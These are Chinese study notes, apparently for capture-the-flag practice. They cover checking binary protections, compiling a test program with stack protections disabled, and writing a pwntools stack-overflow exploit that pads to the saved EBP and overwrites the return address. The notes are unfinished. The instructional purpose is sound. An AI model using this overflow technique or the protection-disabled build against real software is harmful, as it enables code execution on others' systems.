检查保护:checksec 文件名
编译并关闭栈保护:gcc -no-pie -fno-stack-protector -z execstack -m32 -o read read.c
查看程序使用了哪些函数:objdump -t -j .test.read(推荐使用ida)
退出pwndbg:q
用python写exp:
vi exp.py
i //进入插入模式
from pwn import * //导入pwn包
p=process("./read") //建立一个进程(在同一个路径下这么写,名称是read,p是进程的句柄)
句柄详见:进程的句柄,PID及线程_hs5570的博客-CSDN博客_进程句柄
offset = 0x29 + 0x4 //offset为偏移,0x29为你想要的偏移量,esp加0x29到了(下面是)ebp,再加0x4到了(下面是)ret(返回地址)
payload = 'a' * offset + 目标地址,如32位地址:p32(0x...) //payload可以理解为需要的数据,用a覆盖了0x29的空间和ebp,目标地址覆盖了返回地址
待补充



